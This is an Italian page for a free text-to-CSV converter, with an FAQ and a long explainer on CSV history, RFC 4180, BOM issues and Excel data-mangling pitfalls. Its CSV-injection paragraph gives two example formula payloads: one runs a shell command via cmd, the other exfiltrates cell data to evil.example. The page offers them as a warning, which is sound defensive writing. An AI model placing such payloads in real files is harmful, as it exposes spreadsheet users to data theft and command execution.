Convertitore gratuito da testo a CSV
Converti dati testuali tabulari in formato CSV. Rilevamento automatico dei separatori, gestione delle virgolette e anteprima prima del download.
Informazioni sul formato CSV
Il CSV (Comma-Separated Values, valori separati da virgole) è un formato testo semplice per memorizzare dati tabulari. Ogni riga rappresenta un record, e i valori sono separati da virgole. Il CSV è ampiamente supportato dai fogli di calcolo, dai database e dagli strumenti di analisi.
Perché convertire in CSV?
- Portabilità dei dati · converti da qualsiasi formato testo in CSV, facile da importare in un foglio di calcolo.
- Formato universale · il CSV è supportato da Excel, Google Sheets, database e strumenti di programmazione.
- Pulizia dei dati · standardizza separatori e formattazione incoerenti.
- API e automazione · il CSV è ideale per le operazioni di massa e le integrazioni.
- Formato di archivio · conserva dati tabulari in un formato leggibile e indipendente dalla piattaforma.
Domande frequenti
Quali separatori supporta lo strumento?
Rileva automaticamente tabulazione, spazio, virgola, punto e virgola e barra verticale. Puoi anche definire un separatore personalizzato di un solo carattere.
Come gestire i campi che contengono una virgola?
Attiva l'opzione «Metti tra virgolette i campi contenenti una virgola» per circondarli di virgolette, il che li rende conformi al CSV.
Posso includere un'intestazione?
Sì, attiva l'opzione «Includi una riga di intestazione» se la tua prima riga contiene i nomi delle colonne.
Una breve storia del CSV, più antico della specifica che lo definisce
Il CSV è il formato che tutti usano e che non appartiene a nessuno. La sua discendenza è informale. L'uso documentato più antico della convenzione dei valori separati da virgola risale al 1972, quando IBM Fortran (livello H esteso) supportava l'input/output diretto da lista in cui le virgole fungevano da separatori tra i valori su una riga. Per tutti gli anni '70 e '80, ogni database, foglio di calcolo, pacchetto statistico e applicazione di contabilità che doveva scambiare dati con un altro strumento inventava in modo indipendente una qualche variante di «valori separati da un certo carattere su righe separate da un altro carattere.» Non c'era alcuna specifica. Non c'era alcun ente di governo. Non c'era alcuna implementazione canonica. C'era solo il consenso, nel senso più lasco possibile.
Entro i primi anni 2000, il costo del caos divenne impossibile da ignorare. La IETF alla fine accettò una specifica, la RFC 4180, «Common Format and MIME Type for Comma-Separated Values (CSV) Files,» pubblicata nell'ottobre 2005 da Yakov Shafranovich. La RFC 4180 è breve, appena una manciata di pagine, e codificò ciò su cui la maggior parte delle persone era già convergita: una virgola come separatore di campo, le virgolette doppie come carattere di delimitazione opzionale per i campi che contengono virgole, virgolette o a capo, le virgolette doppie raddoppiate ("") come modo per fare l'escape di una virgoletta letterale all'interno di un campo tra virgolette, il CRLF come terminatore di riga, e text/csv come tipo MIME registrato presso la IANA. La specifica definì anche un parametro header opzionale per il tipo MIME, così che un mittente potesse dire a un destinatario se la prima riga è una riga di intestazione.
La RFC 4180 è informativa, non uno standard rigoroso. La conformità ad essa è volontaria. Ma ci dà un obiettivo, la cosa più vicina che il CSV abbia a una definizione di «corretto.» Un documento successivo, il W3C «Model for Tabular Data and Metadata on the Web» (CSVW, 2015), provò a estendere la parte dei metadati del CSV allegando un file JSON affiancato che dice cos'è ogni colonna e come interpretarla. CSVW è ampiamente citato e raramente messo in pratica.
«CSV» sul campo non significa ciò che la RFC 4180 dice che significhi
Chiunque abbia dovuto ricevere un CSV da uno sconosciuto conosce la forma del problema. I disaccordi si scompongono lungo diversi assi:
- Il carattere separatore. La RFC 4180 dice virgola. Le installazioni di Excel europee nei paesi in cui la virgola è il separatore decimale (gran parte dell'Europa continentale, Francia, Germania, Italia, Spagna, Paesi Bassi, Brasile) scrivono per impostazione predefinita il CSV con un punto e virgola come separatore, perché usare una virgola entrerebbe in conflitto con valori numerici come
3,14per π. L'estensione del file è comunque.csv; il tipo MIME è comunquetext/csv; il contenuto non è ciò che un destinatario americano o britannico si aspetta. - Quoting. La RFC 4180 dice di racchiudere tra virgolette doppie quando un campo contiene il separatore, una virgoletta o un a capo; di raddoppiare le virgolette incorporate (così
He said "hi"diventa"He said ""hi"""). Nella pratica, molti scrittori mettono tutto tra virgolette (per prudenza), alcuni non ne mettono affatto (e si rompono nel momento in cui compare una virgola), e alcuni fanno l'escape con la barra rovesciata (\"), una convenzione del C che rompe i parser conformi alla RFC. - I fine riga. La RFC 4180 impone il CRLF (
\r\n). Excel su Windows produce CRLF. Excel sul Mac classico produceva solo CR (\r). La maggior parte degli strumenti Unix e Linux produce LF (\n). Tutti e tre compaiono in file etichettati come.csve la variazione rompe i parser che codificano in modo fisso un'unica aspettativa. - A capo finali. Alcuni scrittori terminano l'ultimo record con un'interruzione di riga; altri no. I parser che contano i record contando le interruzioni di riga riportano errori di sfasamento di uno a seconda dell'input.
- Intestazioni. I file sul campo si dividono all'incirca a metà. Il tipo MIME consente un parametro
header=present, ma nessuno invia header MIME quando ti manda un CSV via e-mail, quindi devi indovinare.
La trappola del BOM
Questo merita una sezione a sé perché è la singola fonte più comune di grattacapi CSV multipiattaforma. Microsoft Excel non rileverà automaticamente un CSV codificato in UTF-8 a meno che il file non inizi con una marca dell'ordine dei byte (BOM) UTF-8: i tre byte EF BB BF, che codificano il carattere Unicode U+FEFF. Senza il BOM, Excel apre il file nella code page legacy del locale Windows dell'utente (Windows-1252 in Occidente, Shift_JIS in Giappone, GBK nella Cina continentale). Qualsiasi carattere non ASCII (lettere accentate, simboli di valuta, emoji, caratteri CJK) viene alterato.
La soluzione è anteporre il BOM. Il costo è che tutto il resto va in difficoltà con esso. Apple Numbers (fino alle versioni recenti) mostra il BOM come un carattere letterale nella prima cella. Molti strumenti da riga di comando (awk, cut, le versioni più vecchie di sed) trattano il BOM come parte del primo campo, così un'intestazione che dovrebbe essere name si legge name. La maggior parte dei parser CSV in JavaScript lo rimuove; molti vecchi flussi di lavoro del modulo csv di Python no (devi aprire il file con il codec utf-8-sig). Poiché uno strumento online gratuito non può sapere dove l'utente aprirà il file, omettere il BOM e documentare che gli utenti di Excel dovrebbero usare Dati → Da testo/CSV (che consente sempre all'utente di scegliere UTF-8 esplicitamente) è un'impostazione predefinita ragionevole.
Excel offre almeno quattro formati «CSV»
La finestra di dialogo «Salva con nome» di Excel offre più di una variante CSV, e le differenze contano:
- CSV (delimitato da virgole) (*.csv): usa il separatore di elenco del locale dell'utente (virgola in en-US/en-GB, punto e virgola in fr-FR/de-DE/es-ES/it-IT/pt-BR). La codifica è la code page ANSI legacy. Nessun BOM. Fine riga CRLF.
- CSV UTF-8 (delimitato da virgole) (*.csv): stesso comportamento del separatore di cui sopra (ancora guidato dal locale, nonostante il nome) ma codificato in UTF-8 con un BOM. Introdotto in Excel 2016.
- CSV (Macintosh) (*.csv): separato da virgole, codifica MacRoman, fine riga del Mac classico (solo CR). Perlopiù obsoleto ma compare ancora.
- CSV (MS-DOS) (*.csv): separato da virgole, code page OEM (CP437 in en-US, CP850 in Europa occidentale), CRLF.
L'etichetta rivolta all'utente dice «CSV» in quattro modi diversi. Il contenuto effettivo del file è sostanzialmente diverso. Questa è la realtà pratica in cui opera il convertitore.
Perché convertire testo → CSV, nello specifico
La maggior parte degli «strumenti CSV» online va nella direzione inversa: prende un CSV ed emette qualcos'altro (JSON, una tabella HTML, una INSERT SQL, un PDF stampabile). Questo va nel verso opposto: prende testo disordinato e produce un CSV pulito. È il caso d'uso per:
- Ripulire un elenco di e-mail in righe di foglio di calcolo. Un operatore CRM copia 800 e-mail da un campo CCN in un blocco note. Ogni e-mail deve stare su una propria riga in un foglio di calcolo per il caricamento in uno strumento di stampa unione. Incolla, aggiungi l'intestazione, scarica.
- Convertire una tabella copiata da un PDF. Le tabelle PDF, quando vengono copiate, spesso arrivano come testo in cui le colonne sono separate da sequenze di spazi (o tabulazioni, a seconda del generatore del PDF). Un delimitatore flessibile (incluso «spazi bianchi consecutivi») trasforma questo in una griglia pulita.
- Ristrutturare output generati dall'IA. I grandi modelli linguistici adorano emettere tabelle Markdown. Un utente può incollare una tabella Markdown; il convertitore rileva i delimitatori a barra verticale e la riga di separazione a trattini; l'output è un vero CSV.
- Importare log in Excel o Google Sheets. Il formato combined log di Apache, i record syslog e molti log applicativi sono orientati alle righe ma non nativamente adatti ai fogli di calcolo. Converti in CSV, apri in un foglio di calcolo, ordina, filtra, crea tabelle pivot.
- Preparare i dati per le istruzioni
COPYdel database. IlCOPY ... FROM STDIN WITH (FORMAT csv)di PostgreSQL legge il CSV direttamente. Un utente con un elenco in un file di testo può incollare, convertire e fare\copyin una tabella senza scrivere uno script di caricamento. - Costruire CSV a mano per operazioni in blocco. Stripe, Mailchimp, Shopify e la maggior parte delle piattaforme SaaS espongono l'importazione CSV per le operazioni di massa. Un utente che deve aggiornare 30 prezzi di prodotti costruisce manualmente le righe; lo strumento trasforma il loro elenco digitato nell'esatto CSV che la piattaforma si aspetta.
Excel riscriverà i tuoi dati, a volte in silenzio
Una manciata di trappole del CSV morde anche gli utenti attenti:
- Gli zeri iniziali spariscono. Un codice postale statunitense
01234si apre come1234. Un interno telefonico0049si apre come49. Un codice prodotto00ABCsi apre comeABCse Excel decide a metà strada che la colonna è di testo. L'unica difesa affidabile è anteporre un apostrofo (trucco di visualizzazione), pre-formattare la colonna come testo, oppure usare il percorso di importazione Dati → Da testo/CSV di Excel che ti permette di bloccare i tipi di colonna. - Conversione automatica in notazione scientifica. Una lunga stringa numerica come
0123456789012diventa1.23457E+11quando Excel decide che è un numero. I caratteri originali sono persi. Questo ha corrotto i dataset di nomi di geni in modo così grave che l'HUGO Gene Nomenclature Committee ha rinominato diversi geni nel 2020 proprio per sfuggire alla conversione di Excel: simboli di geni come MARCH1, SEPT2 e OCT4 si stavano trasformando in date. - Rilevamento automatico delle date. Una colonna che contiene indicazioni di tempo musicali
3/4,4/4,6/8,7/8diventa date: 3 aprile, 4 aprile, 6 agosto, 7 agosto. Lo stesso per i numeri seriali come1-1e gli orari come1:30. - Interpretazione esadecimale.
0x1Ae0E5sono entrambe rappresentazioni numeriche valide riconosciute da Excel. Una colonna di indirizzi di registro o di codici di composti chimici può mutare in silenzio. - L'attacco di CSV injection. Un campo che inizia con
=,+,-,@o una tabulazione/CR viene interpretato da Excel e Google Sheets come una formula. Un valore malevolo come=cmd|'/c calc'!A0o=HYPERLINK("https://evil.example/?d="&A1, "Click")può esfiltrare il contenuto delle celle adiacenti o eseguire comandi shell a seconda delle impostazioni del client del foglio di calcolo. Qualsiasi strumento che emette CSV da testo inviato dall'utente dovrebbe valutare di fare l'escape dei caratteri di formula iniziali. - Campi tra virgolette che contengono a capo. Un campo come
"Hello,\nworld"con un a capo letterale all'interno delle virgolette è un solo campo che si estende su due righe su disco. I parser che dividono prima sugli a capo e poi sulle virgole corromperanno i dati in silenzio. Un'analisi CSV corretta è una macchina a stati, non due passaggi diString.split.
Dove si colloca questo strumento tra le alternative moderne al CSV
Il CSV sopravvive perché è testo e gli esseri umani possono leggerlo. Per lo scambio serio di dati, diversi formati gli hanno mangiato il pranzo su dimensioni specifiche:
- Apache Parquet. Un formato binario a colonne. I file sono tipizzati, compressi e orientati alle colonne (così
SELECT col1 FROM big_file.parquetlegge dal disco solo quella colonna). Predefinito per i carichi di lavoro di analisi: Snowflake, BigQuery, Databricks e Athena lo leggono nativamente. Il contendente più forte per «cosa dovresti usare al posto del CSV quando controlli entrambe le estremità.» Binario, quindi non soddisfa il caso d'uso del «posso leggere questo in un editor di testo». - JSON Lines (JSONL / NDJSON). Un oggetto JSON per riga. Combina la trasmissibilità in streaming del CSV con la struttura tipizzata e annidata di JSON. Ampiamente usato per l'ingestione di log, i dataset di ML e i flussi di eventi. Compromesso: più prolisso del CSV (ogni record ripete ogni chiave).
- Apache Arrow IPC (Feather v2). Un formato binario in memoria e di trasmissione per dati tabulari, progettato per lo scambio zero-copy tra processi e linguaggi. Usato molto all'interno delle toolchain di data science (pandas, il pacchetto arrow di R, Polars, DuckDB).
- Avro e ORC. Formati binari che portano con sé lo schema, provenienti dall'ecosistema Hadoop. Meno comuni al di fuori del data engineering.
Per un convertitore online gratuito rivolto a sviluppatori e impiegati d'ufficio, il CSV resta il formato di output giusto perché è la lingua franca dell'importazione di dati ovunque. Le alternative moderne esistono; non hanno soppiantato il CSV nella casella di posta.
Altre domande
Dovrei aggiungere un BOM UTF-8 all'output?
Se il file è destinato al doppio clic in Excel su Windows, sì: senza il BOM, Excel lo apre nella code page legacy e altera il testo non ASCII. Se è destinato a qualsiasi altra cosa (Apple Numbers, script da riga di comando, moduli di caricamento web), ometti il BOM. Il percorso più sicuro è omettere il BOM e istruire gli utenti di Excel a importarlo tramite Dati → Da testo/CSV, dove possono scegliere UTF-8 esplicitamente.
Il mio CSV si apre con una cella per riga in Excel, cosa è andato storto?
Quasi sempre una discordanza di separatore. Ti trovi in un locale in cui Excel si aspetta i punti e virgola (gran parte dell'Europa continentale), ma il file usa le virgole, o viceversa. Apri con Dati → Da testo/CSV invece di fare doppio clic; quella procedura guidata ti consente di scegliere il delimitatore esplicitamente. Oppure salva il file dal menu Salva con nome di Excel usando la variante che corrisponde al tuo separatore locale.
Qual è la differenza tra TSV e CSV?
Il TSV usa i caratteri di tabulazione come separatore anziché le virgole, con un proprio tipo MIME text/tab-separated-values e registrazione presso la IANA. Il vantaggio del TSV è che i dati del mondo reale raramente contengono tabulazioni letterali, quindi il quoting non è quasi mai necessario; lo svantaggio è che le tabulazioni sono invisibili negli editor di testo e il comportamento di copia-incolla varia. Il meccanismo di quoting del CSV lo rende sicuro per i campi che contengono il delimitatore; il TSV per lo più evita del tutto il problema.
Esiste un linter CSV che posso eseguire prima di condividere il mio file?
Sì: per l'uso da riga di comando, csvclean di csvkit segnala le righe con il numero sbagliato di colonne. La CLI frictionless di Frictionless Data valida rispetto a uno schema opzionale. Per il lavoro nel browser, PapaParse segnala gli errori di analisi riga per riga. La validazione rigorosa rispetto alla RFC 4180 (fine riga CRLF, escape con virgolette raddoppiate) è rara nella pratica; la maggior parte dei parser accetta una qualsiasi delle varianti comuni.